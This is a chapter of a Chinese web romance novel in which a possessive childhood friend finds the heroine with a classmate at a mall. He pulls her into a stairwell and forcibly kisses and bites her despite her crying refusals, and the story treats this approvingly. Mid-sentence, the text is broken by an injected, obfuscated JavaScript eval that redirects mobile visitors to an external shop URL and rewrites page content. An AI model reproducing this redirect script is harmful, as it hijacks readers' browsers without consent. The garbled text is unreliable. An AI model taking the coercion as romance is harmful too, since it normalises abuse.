高考完后的暑期总是很漫长,尤其当填完志愿后,任何需要费心的事情都没有了,时间全都是空闲的。
谢栩年一家在他们填完志愿后的第二天一早就走了,听姑姑说,是谢栩年安排的这次出行。
蒋乐桃当时听到还有些惊讶,因为她从没听谢栩年提起过这件事。
姑姑说,他们就是填完志愿后才突然做的决定。
蒋乐桃听完点点头,心里悄悄松一口气。
刚好趁着这段时间,她可以偷偷去改志愿了。
第二天,等谢栩年给蒋乐桃发了条已经登机的消息后,她立刻去了闺蜜方可家。
方可有一个上研究生的哥哥,最近放假在家,带回来了电脑。
蒋乐桃已经提前跟方可说好,一到方家两个人就搬着方可哥哥的电脑进了方可房间,还锁上了门。
蒋乐桃打开志愿填报页面,开始输入自己的身份证号和密码。
方可在她旁边坐着看,担忧地问:“你真的要改吗?”
蒋乐桃脑中一闪而过谢栩年的模样,手下微顿,很快又恢复动作:“是。”
她说:“你知道的,我想报G大。”
“可是……”方可委婉地提醒,“谢栩年怎么办?”
方可是唯一知道蒋乐桃和谢栩年目前关系的人,而且,她还曾亲眼目睹过谢栩年对蒋乐桃的恐怖占有欲。
那是高考结束的四五天后了,方可和蒋乐桃约好出去玩。
蒋乐桃到了地方才发现方可旁边还站了两个其他男生。是她们的高中同班同学,刘铭拓和王越骞。
王越骞和方可高三时是前后桌,相处过程中两个人发展出了一些不一般的情谊,在高考结束后正式在一起了。
商场门口,方可看见她来,雀跃地跑过来揽上她的胳膊,语气格外亲热:“可算来了,等你好久了。”
蒋乐桃这时已经察觉出一些端倪,但不好当着大家的面去和方可算账,只得暂时压下不提。
王越骞见人齐了,爽朗开口:“大家都认识,就不多说了,走吧,一起进去。”
说完,他伸手要去拉方可,但被方可躲开。
“你们先走吧,我和桃桃在后面说会儿话。”
刘铭拓开了个玩笑:“呦,老王,看来你有个女情敌啊。”
方可顿时脸红了。
王越骞在一旁笑骂:“滚!”
两个男生你推我扯地先进了商场。
这会儿,蒋乐桃总算有了和方可算账的时间,板起脸正要质问,方可先一步皱着脸认错了。
“对不起,对不起嘛。我知道我瞒着你不对,可是王越骞约我出来玩,我真的不好意思单独和他在一起。”
蒋乐桃向来好说话,这次却很严肃:“那你也不能一点都不跟我说啊,早知道这样,我……”
“你就不来了,对吧?”方可一脸早知如此的表情,“就是因为知道你肯定不乐意来,我才没说的。”
她举起手来保证:“我保证这是唯一一次骗你,求你了桃桃,原谅我吧。”
方可长了一张小圆脸,撒娇求饶时很是有欺骗性,看着她苦着脸认错的样子,蒋乐桃顿时生不起气了。
“就这一次。”
她很认真地道。
方可连连点头:“好!”
来都来了,而且方可也认了错,蒋乐桃也不好再多说什么,半推半就的被方可拉着进去了。
一开始,方可还知道顾着蒋乐桃,干什么都拉着她,慢慢地,等四个人上了商场二楼的电玩城,方可就和王越骞走到了一起,没一会儿,手也牵上了。
被落下的蒋乐桃就和同样落单的刘铭拓走在了一起。
“你也是被拉过来救场的?”
刘铭拓挑眉问。
蒋乐桃一向不善于和男生打交道,但见刘铭拓自然大方地挑起了话题,也不好不理,点了点头:“是的。”
准确来说,她是被骗过来的。
“嗐。”刘铭拓摇摇头,很受伤的样子,“他们两个你侬我侬的,可怜了我们两个电灯泡。”
蒋乐桃默默点头,心里无比认同。
两个人一边说着话一边往前走,就是大部分时间都是刘铭拓在说话,蒋乐桃只在一旁安静听着,偶尔应一声。
刘铭拓又说了几句突然停下:“你怎么都不说话啊?是我太吵了吗?”
“不是不是。”蒋乐桃没想到他会这样想,忙摆手否认,“我,我,我不太爱说话。”
“啊?”刘铭拓笑了下,“好吧,我想起来了,你以前在班里也不爱说话,是一名沉默的学霸哈哈哈。”
蒋乐桃被他说得有点脸红:“没有……”
她小声道:“是我不善言辞。”
刘铭拓没听清,俯身凑了过来:“什么?”
两人的距离在不知不觉的情况下变得很近,但谁也没察觉异常,直到突然一道微冷的声音在离他们不远的地方响起——
“蒋乐桃。”
普普通通的三个字,激起蒋乐桃一个哆嗦,她猛然回神,推开刘铭拓快速扭头看去。
就在离他们不远的侧后方步梯上,两个男生并肩站在几节台阶之上,个个身高腿长,逆光下的面容一个赛一个精致优越。
是谢栩年和他的发小陆忱礼。
在他们的位置,可以将下面看得十分清楚,自然,也将刚才刘铭拓和蒋乐桃近到有些过界了的动作尽收眼底。
蒋乐桃自认为没做什么亏心事,但那一刻,在谢栩年居高临下地注视下,还是心虚起来。
旁边的刘铭拓已经站直了身子,他没在意刚才蒋乐桃推他的事情,因为他的注意力已经完全被身后的那两个男生吸引。
“那是……谢栩年和陆忱礼?!你认识他们?”
在高中,几乎没人不知道谢栩年和陆忱礼这两个名字,理科班的两朵高岭之花,总是结伴而行,成绩不相上下,常年位居年级前十,人又都长得很帅,听说家里条件也都不错。
在学校时几乎每天都有女生给他们送情书。男生里嫉妒这两个人的不在少数,但不甘中又夹杂着艳羡。
但是,没几个人知道这二人之中的谢栩年和蒋乐桃是青梅竹马。
“我和谢栩年……是邻居。”
“真的假的?”刘铭拓还没来得及问更多,谢栩年和陆忱礼已经来到他们面前。
谢栩年冷冷淡淡地站在蒋乐桃面前,比女生高出一个头的身高自带压迫感,他半垂着眸,眼睛里没什么情绪地看她。
“你不是说,是和方可一起来玩的?”
他的语气很平静,像只是随口一问,可蒋乐桃清楚,他已经生气了。
“一开始是……”
她的声音很虚。
“后来呢?”
“后来……”
一旁的刘铭拓敏锐发觉气氛的异样,当即替她开口:“方可和她男朋友一起去前面玩了,我和蒋乐桃同学落后了一步就碰见了你们。”
“不好意思。”男生突然抬眸,漆黑冷漠的目光直直刺向他,像含着冰,冻人刺骨,“我好像没问你。”
很不客气的语气,让刘铭拓猛地一愣。
陆忱礼见势头不对,抬手搭上谢栩年的肩不动声色的摁了一下,然后含笑对刘铭拓道:“他没别的意思,就是现在心情不好,见谅。”
刘铭拓尴尬着摆手说没事。
而那边,谢栩年已经彻底烦了,他伸手拉上蒋乐桃的手腕,不由分说地带着她往外走。
刘铭拓下意识想要阻止,又被陆忱礼挡住:“他们有点事谈,要不我们先别打扰呢?”
陆忱礼是只笑面虎,嘴上的语气是在商量,但身子挡在刘铭拓面前丝毫不动,可见并不如表面上那样好说话。
刘铭拓总有一种不好的预感,可刚才蒋乐桃亲口承认她和谢栩年认识,他只好劝说自己放下心里的担忧,点了下头算是妥协。
商场二楼尽头无人安静的楼梯间内,女孩的双手被一只大手禁锢按在墙上,原本穿着的白色裙子肩带有一条已经掉落下去,松松垮垮地荡在她细白如藕的小臂上。
身前的男生在她的脖颈处发狠地舔吻噬咬着,一路蔓延到锁骨,留下一道道发红发烫的印记。
蒋乐桃一直默默咬着唇,直到再也忍不住,低泣着喊了声疼。
“疼,停下来,谢栩年……”
她感觉自己被谢栩年亲过的地方像被咬破了皮一样,烧灼地痛。她掉着眼泪,不住地躲。
眼泪被重新辗转回脸颊的吻一点点擦掉。
谢栩年的吻是烫的,手却那么冷,覆住她的脖颈,在耳垂上揉搓摩挲。
“知道疼,还敢骗我?”
骗他说是和女性朋友出来玩,却在外面和乱七八糟的男生举动亲密。
尤其,还破天荒穿了一条那样漂亮的白裙
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196333|197132||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子,露出好看的脖颈和锁骨。
她知道当别人凑近她时,就可以轻易看到她衣领下起伏的弧度吗?
那样没有戒心,那样单纯愚笨。
动作亲热,声音却轻淡漠凉,像含着冰雪,冷热两重天让蒋乐桃身体止不住战栗的同时还控制不住的惧怕畏缩。
他眉眼覆霜:“我看,你根本不疼。”
“我没骗你。”蒋乐桃颤抖着声音辩解,“我不知道方可的男朋友在,也不知道还有其他男生。”
“你不知道?”
谢栩年扯起唇,似是好笑:“方可是你的好闺蜜,她会不告诉你?”
“她只告诉我她会来,没说会有别人,我也是到了才知道的。”
“是吗?”
谢栩年垂眸,漠然看她。
是不相信的样子。
见谢栩年不信她,蒋乐桃终于崩溃,眼泪成串的从眼角掉落,又被她抬手胡乱地抹掉,哽咽的语不成句:“我、我说的是真的,我真的、真的没有骗你!”
她哭得实在可怜,泪珠把漆黑的眼睫全部打湿,像淋了雨的小动物,狼狈又无助。
谢栩年面无表情地盯了她一会儿,终是软了神色:“好,我相信你。“
他说信了,蒋乐桃却缓不过来,还在一直哭,脸上满是泪痕。
她被突然疯起来的谢栩年吓到了,刚才被他强制拉到楼梯间拉扯裙子的肩带噬咬脖颈处时,她都要吓哭了。
谢栩年最喜欢亲她的脖子和锁骨,还爱嘬起一块皮肤轻轻噬咬。而他刚刚的力道,已经不像咬了,像要把她吃了。
蒋乐桃怕死了。
谢栩年还浑然不觉似的,抬手控住她还在脸上乱擦的手,另一只手拿出纸巾为她轻轻擦拭。
“都哭成花猫了。”
他声调淡淡。
蒋乐桃撇过头不想理他。
明明是他害自己哭成这样的。
这样想着,心里的委屈再次上涌,她又掉下一串泪。
“还哭?”谢栩年凑近她,低声悠悠,“再哭,我就继续亲了。”
这一招立竿见影,蒋乐桃顿时捂住嘴不哭了。
她不想在人流量密集、随时都可能会有人发现他们的商场里再被谢栩年亲了。
明明是谢栩年不舍得她哭,可见到她为了不被亲真的不哭、而且还一脸惊恐警惕地看着他后,心里还是微妙地不高兴起来。
大手拽下蒋乐桃挡脸的手,不顾她的抗拒,谢栩年再次强势地亲了上去。
放开她后,蒋乐桃崩溃地控诉:“我没哭了!”
谢栩年勾唇:“我知道。”
“那你还!”
他唇角弧度更大:“我就亲。”
蒋乐桃:“……”
这个大坏蛋!
蒋乐桃闷闷瞪他一眼,咬住唇默不作声地的整理自己凌乱的衣裙,模样老实可怜,像古代被恶霸欺负了还不敢吭声反抗的老实小娘子。
谢栩年深深看着她,突然道:“以后不许再穿这条裙子。”
蒋乐桃一顿,有些不服气:“凭什么?”
“太露。”
她愣住,低头一看,果然发现些不得了的东西,脸蛋刷地通红一片,抬手捂住了胸前。
见她意识到,谢栩年唇角微勾,俯身凑在她耳边,声调缓慢,尾音微挑:“但你要是实在喜欢,可以单独穿给我看。”
蒋乐桃:!
她才不要!!
等二人收拾一番,终于从商场楼梯间里走出来时,正碰上找过来的方可。
方可的身边已经没有王越骞的身影了,她当时听说蒋乐桃被谢栩年带走了,顿时急了,直接就找了过来。
她是知道蒋乐桃和谢栩年青梅竹马的关系的。但她也知道,蒋乐桃一直都害怕谢栩年——谢栩年管她很严,还管很多,比她家里人还厉害。
就好像他是蒋乐桃的亲哥哥一样。
心里害怕蒋乐桃会因为她被谢栩年误会管教或者斥责,方可焦急地找了过来想要为她解释,然后就看见蒋乐桃和谢栩年十指紧扣的手,以及蒋乐桃脖颈上明显扎眼的一抹红痕。
她惊呆了。
原来不是亲哥哥,是情哥哥。
而让她惊呆的还有谢栩年看向她时,眸子里犹如实质的漆黑冷意——
“不要再让我知道你带她和别的男生一起出去玩,不然,我会让你们绝交。”